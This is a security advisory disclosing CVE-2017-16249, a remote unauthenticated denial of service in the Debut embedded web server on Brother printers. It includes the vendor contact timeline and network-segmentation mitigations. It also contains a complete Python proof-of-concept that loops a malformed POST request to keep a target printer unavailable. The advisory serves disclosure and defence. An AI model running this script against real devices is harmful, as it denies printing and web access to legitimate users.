Trustwave SpiderLabs Security Advisory TWSL2017-017:
Remote Unauthenticated DoS in Debut embedded httpd server used by Brother printers

Published: 11/16/2017 
Version: 1.1

Vendor: Brother (http://www.brother-usa.com)
Product: Debut embedded httpd
Version affected: <= 1.20

Product description:
Brother printers are network connected consumer and business 
multi-function printers. These printers utilize the Debut embedded httpd
server to host their web interfaces.

Finding 1: Remote un-authenticated denial of service
Credit: z00n (@0xz00n) of Trustwave 
CVE: CVE-2017-16249


The Debut embedded http server contains a remotely exploitable denial of
service where a single malformed HTTP POST request can cause the server to
hang until eventually replying (~300 seconds) with an HTTP 500 error.  While the
server is hung, print jobs over the network are blocked and the web
interface is inaccessible. An attacker can continuously send this
malformed request to keep the device inaccessible to legitimate traffic.


Example:
The following Proof of Concept (PoC) connects to the device, sends the
malformed HTTP request, waits for the server to reply (with the 500 error),
and sends another malformed HTTP request.  This process is repeated
indefinitely until stopped.


PoC:
#!/usr/bin/python
import socket
import sys

target = raw_input("[*] Enter target IP or hostname: ")
port = raw_input("[*] Enter target port: ")

payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"

print "[*] Starting DOS.  Payload will be sent every time the server responds."
while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        s.connect((target,int(port)))
        print "[*] Sending DOS payload"
        s.send(payload)
        # Wait for server to respond with 500 error
        s.recv(4096)
        s.close()
    except:
        print("[!] Can't connect to target")
        sys.exit()


Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized 
personnel through the use of Access Control Lists and proper
network segmentation.

Revision History:
09/11/2017 - Attempt to contact vendor
10/03/2017 - Live chat communications with vendor regarding no reply
10/25/2017 - Attempt to contact vendor
11/02/2017 - v1.0 Advisory published
11/16/2017 - v1.1 Advisory published (update finding description)


About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce security 
risk. With cloud and managed security services, integrated technologies and a 
team of security experts, ethical hackers and researchers, Trustwave enables 
businesses to transform the way they manage their information security and 
compliance programs. More than three million businesses are enrolled in the 
Trustwave TrustKeeper® cloud platform, through which Trustwave delivers 
automated, efficient and cost-effective threat, vulnerability and compliance 
management. Trustwave is headquartered in Chicago, with customers in 96 
countries. For more information about Trustwave, visit 
https://www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.